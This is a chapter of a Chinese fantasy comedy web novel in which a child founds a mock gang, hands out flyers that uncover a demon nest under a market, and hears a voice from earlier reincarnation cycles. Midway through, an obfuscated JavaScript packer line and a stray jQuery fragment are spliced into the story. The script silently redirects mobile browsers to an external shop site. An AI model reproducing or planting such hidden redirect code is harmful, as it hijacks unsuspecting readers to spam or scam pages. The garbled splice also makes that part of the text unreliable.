小师妹觉得,归墟宗需要一个响亮的组织名。
这个念头源于一次非常严肃的宗门形象讨论。
那天,温别鹤正在山门口修牌匾。
“归墟宗”三个字掉漆掉得很有层次,远看像“归虚宗”,近看像“欠钱宗”。
小师妹蹲在旁边看了半天,发表重要意见:
“我们这个名字,不够霸气。”
温别鹤一边补漆,一边敷衍:“哪里不霸气?”
小师妹指着牌匾。
“归墟宗,听起来像马上就要归墟了。”
温别鹤手一抖,差点把“宗”字补成“穷”。
他沉痛道:“虽然事实接近,但小孩子不要说得这么直接。”
小师妹又看向大师兄。
沈砚正在菜地边立牌子。
【本人凡人,勿扰。】
小师妹摇头。
“大师兄的牌子也不够霸气。”
沈砚:“我不需要霸气。”
“需要。”小师妹认真道,“主角阵营出场,必须有帮派,有口号,有坐骑,有左右护法。”
陆青蘅刚好路过,脚步一顿。
她有一种不太好的预感。
事实证明,她的预感很准。
第十八天,小师妹在归墟宗院子里召开成立大会。
会议地点:翻过来的木盆。
会议主持:小师妹。
会议道具:纸冠、锅铲剑、糖袋、红布披风,以及三师兄被迫贡献的一张旧账本封皮做成的令牌。
台下成员十分复杂。
王腾坐得笔直,紧张得手里石子都摆成了一个防御小阵。
赤姝靠在柱子边,手里转着糖葫芦签,笑意危险又温柔。
佩奇魔尊趴在地上,鼻孔喷气,显然没听懂但觉得场面很适合哼哼。
三只灵羽鸡排成一列,像三个纪律松散的护法。
五师兄谢无咎被安排坐在最前排,怀里抱着一沓空白符纸,满脸茫然。
他小声问:“我为什么必须参加?”
小师妹严肃宣布:“你是传单部部长。”
谢无咎:“我什么时候答应的?”
“刚刚任命的。”
“那我能辞职吗?”
“不能。核心干部不得临阵脱逃。”
温别鹤在旁边记录,越记越绝望。
“核心干部目前包括一只猪、三只鸡、一个五岁帮主和一个被任命后才知道自己入帮的符修。二师姐,我觉得我们宗门形象还能再抢救一下吗?”
陆青蘅面无表情。
“你先别把这段写进账本。”
小师妹举起锅铲剑。
阳光落在生锈菜刀上,反射出一种很努力但不太体面的光。
“我宣布——”
她深吸一口气。
“炸天帮归墟分舵,今日成立!”
佩奇魔尊配合地哼了一声。
三只鸡咯咯叫。
王腾用力鼓掌,鼓着鼓着发现自己太大声,又脸红停下。
赤姝终于没忍住,笑得糖葫芦签都歪了。
沈砚站在菜地里,连头都没抬。
“我不加入。”
小师妹早有准备。
她拿出一张皱巴巴的任命书。
“大师兄,任命你为炸天帮荣誉保安。”
沈砚:“拒绝。”
“拒绝无效。”
“为什么?”
“因为荣誉职位不用本人同意。”
沈砚沉默片刻,把“本人凡人,勿扰”牌子翻了个面,背面又写上一行:
【本人不炸天。】
成立大会结束后,小师妹决定扩大影响力。
方式是发传单。
陆青蘅听到“传单”两个字时,已经伸手按住剑柄。
“发什么?”
小师妹把谢无咎赶工画出的传单递给她。
纸上字迹歪歪扭扭,符线横七竖八,中央用极其嚣张的大字写着:
【炸天帮出征,寸草不生。】
下面还有小字:
【入帮送糖,表现优秀者可摸佩奇魔尊一次。】
佩奇魔尊看见第二行,愤怒拱翻了一个木桶。
陆青蘅闭了闭眼。
“你们这是招人,还是招官府?”
小师妹理直气壮。
“气势要足。”
温别鹤补充:“且成本很低。”
陆青蘅:“你闭嘴。”
但小师妹行动力极强。
她骑上佩奇魔尊,带着王腾、赤姝、三只鸡和被迫背着传单箱的谢无咎,浩浩荡荡去了云梦坊市。
云梦坊市的修士什么场面没见过。
有人御剑撞摊。
有人卖假丹被买家追三条街。
有人带着灵兽相亲,结果灵兽看上了摊主家的驴。
可他们确实没见过一个五岁小孩骑着红鬃未褪的灵猪王,身后跟着三只鸡,举着生锈菜刀高喊“炸天帮招新”。
小师妹站在佩奇魔尊背上,奶声奶气:
“炸天帮出征,寸草不生!”
王腾小声补充:“其实我们不炸草。”
赤姝笑着给小孩递糖。
“入帮可以不摸猪,摸糖葫芦签。”
谢无咎一张张发传单,脸红得像刚被红毛孢子复发。
“各位,我们是正经组织。”
摊主看着传单上的“寸草不生”,又看了看三只正在啄摊边草籽的灵羽鸡。
“正经在哪里?”
谢无咎沉默。
他也很想知道。
很快,坊市城管修士来了。
云梦坊市虽然混乱,但也有规矩。
第一,不许当街斗法。
第二,不许卖明显会炸的丹。
第三,不许散播会引发恐慌的危险标语。
城管修士身穿灰袍,腰挂执法牌,气势汹汹地走来。
“谁在散播‘炸天’传单?”
小师妹举手。
“我。”
城管修士低头。
他看见一个五岁半小孩。
小孩头戴纸冠,腰挂糖袋,骑着一只表情凶狠的猪。
猪旁边站着一名魔道气质的红衣女子,一个抱石子的瘦少年,一个满脸写着“我想回家”的符修,以及三只鸡。
城管修士沉默很久。
“你们这是……宗门行为,还是儿童游戏?”
小师妹挺胸。
“正经帮派行为。”
谢无咎小声:“其实更像儿童游戏。”
小师妹回头瞪他。
城管修士揉了揉眉心。
“无论如何,你们的标语涉嫌扰乱坊市秩序。跟我回执法堂,接受安全教育。”
小师妹震惊。
“炸天帮刚成立就被抓,这是什么反派待遇?”
温别鹤不在场,否则一定会说:这是正常待遇。
就在城管修士准备收走传单时,谢无咎背后的传单箱忽然亮了。
先是一张传单发光。
然后是十张。
最后整整一箱传单都亮起幽蓝符纹。
谢无咎脸色瞬间白了。
赤姝眯起眼:“怎么了?”
谢无咎声音发抖。
“我好像……为了让传单更醒目,把探魔符的符路画进去了。”
城管修士:“探魔符为什么会画进招新传单?”
谢无咎崩溃:“因为它们长得有点像!”
小师妹低头看传单。
传单上的“炸天帮”三个字像活过来一样扭动,符线从纸面蔓延到地砖,再沿着坊市地下旧阵纹迅速扩散。
云梦坊市建在一座古战场边缘。
很多人只知道这里灵气杂、摊位多、骗子多。
很少有人知道,前几轮轮回里,归墟宗曾在这里布下探魔大阵,用来监测地下妖气。
后来阵法破损,坊市扩建,一层又一层摊铺、石板、酒楼压在上面,旧阵纹被人当成普通纹路踩了几十年。
谢无咎的传单很丑。
但丑得刚好。
那些歪歪扭扭的符线,竟然误打误撞补全了旧探魔阵缺失的一角。
下一秒,整条街都震了。
轰——
坊市中央的地砖向下塌陷,摊位木架哗啦倒了一片,卖丹老头抱着药罐飞快逃跑,还不忘喊:
“本摊丹药不负责地陷!”
浓烈妖气从地下冲出,黑雾里夹杂着腥甜味,像腐烂的潮水。
城管修士腿都软了。
“地下……地下有妖窟?”
小师妹也吓了一跳。
她立刻对着天空作揖。
“天道爷爷,我不是故意炸天的!”
赤姝甩出糖丝,将旁边几个凡人摊主拉到安全处。
王腾脸色苍白,却下意识蹲下摆石子。
他手抖得厉害,石子却精准落在塌陷边缘,形成一圈临时固土阵。
谢无咎抱着传单箱,眼睛通红。
“我又闯祸了。”
小师妹扭头看他。
“不是闯祸。”
她指着地下翻涌的红字。
系统界面在她眼前疯狂标红。
【红名:地下妖窟。】
【备注:第48轮残留封印破损,低阶妖物孵化中。】
【危险:即将外溢。】
小师妹咽了咽口水。
“是坏蛋藏得太深,被你画出来了。”
谢无咎怔住。
第一只低阶妖物从洞口爬出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686466|207825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
它形似黑犬,却生着三只眼,四肢黏着腐土,张嘴时满口都是细小触须。
坊市修士尖叫后退。
城管修士拔刀,却发现手在抖。
佩奇魔尊第一个冲了上去。
猪王虽然平时贪吃怕大师兄,但护主时极凶。它低头一拱,直接把黑犬妖物拱回洞口。
三只灵羽鸡紧随其后,扑腾翅膀啄妖物眼睛。
赤姝糖葫芦签飞出,红糖在半空拉成细丝,将两只妖物捆成粽子。
王腾的石子阵亮起,塌陷边缘暂时稳住。
谢无咎咬牙,把一把传单当符纸扔出去。
传单在空中歪歪扭扭排成一圈。
【炸天帮出征,寸草不生。】
大字发光。
妖物看不懂字,但被探魔符路烧得吱哇乱叫。
场面极其混乱。
也极其有效。
小师妹站在洞口,手握锅铲剑,腿有点抖。
她怕。
她当然怕。
妖窟里吹出来的风又冷又腥,像有什么东西在地下张开嘴,等着把所有人吞进去。
可她看见旁边凡人摊主抱着孩子发抖,看见城管修士明明害怕还挡在前面,看见五师兄一边自责一边继续扔符。
她忽然想起自己昨天说过的话。
红毛坏蛋,来抓我呀。
今天换成妖窟坏蛋,也一样。
于是她举起锅铲剑,奶声大喊:
“炸天帮出征!”
佩奇魔尊哼声如雷。
三只鸡咯咯冲锋。
赤姝笑骂:“小祖宗,口号能不能别这么像反派?”
归墟宗众人赶到时,看见的就是这一幕。
陆青蘅剑光先至,一剑斩开冲天妖雾。
沈砚落在菜篮旁边,顺手把一只扑向白菜摊的妖物踩回洞里。
温绾拎着丹炉,眼睛发亮。
“地下妖气浓度不错,能炼。”
温别鹤看着塌掉的坊市地面,眼前一黑。
“赔不起。”
陆青蘅低声问:“怎么回事?”
小师妹举手。
“报告二师姐,炸天帮发现地下坏蛋窝。”
谢无咎垂头。
“是我的传单误触了旧探魔阵。”
陆青蘅看了一眼地面亮起的古老阵纹,眼神微变。
这些阵纹,她认得。
第48轮末期,他们确实在云梦坊市地下封过一处裂隙。
那时妖潮压境,来不及彻底清除,只能将残余妖窟封死。
后来轮回重启,一切表面恢复如初。
可裂隙没有真正消失。
它只是一直躲在地下,等封印腐烂。
沈砚看向小师妹,又看向谢无咎那叠丑得惊人的传单。
“可能这就是变数。”
温别鹤痛苦道:“变数能不能提前报备?至少让我准备赔偿预算。”
妖物越来越多。
陆青蘅正要带人下窟,妖窟深处却忽然传来一道微弱声音。
那声音像被黑水泡了太久,断断续续,却准确穿过妖气,落在归墟宗众人耳边。
“归墟……”
“还有人吗?”
陆青蘅的脸色骤然白了。
沈砚手里的菜篮也停住。
棺材里的掌门不在现场,却像被什么惊动,远在宗门大堂里发出一声低低叹息。
温绾的丹火熄了一瞬。
那声音,他们听过。
不是第49世。
是在很久很久以前。
第12轮,剑光裂天,妖潮压城,有个白衣女剑尊回头对他们说:
“你们先走,我断后。”
第48轮末尾,封印崩塌前,陆青蘅也曾在妖雾里听见类似的残响。
她以为那只是自己不肯放下的幻听。
可现在,声音又响了一次。
“青蘅……”
陆青蘅指尖发颤。
小师妹第一次没有立刻接梗。
她站在洞口,看见二师姐眼里的光一下碎了。
她不懂第12轮,也不懂第48轮。
她只知道,炸天帮今天好像真的炸开了一个很疼的地方。
她伸手,轻轻拉住陆青蘅的袖子。
“二师姐,下面有人在等我们吃饭吗?”
陆青蘅闭了闭眼,再睁开时,剑光冷如霜雪。
“下去。”
小师妹握紧锅铲剑,声音小了一点,却很认真。
“炸天帮归墟分舵,继续出征。”
第49世第十八天。
小师妹本想给归墟宗换一个霸气帮名。
结果传单炸开了坊市地下妖窟。
也炸出了前48世未曾散尽的一声求救。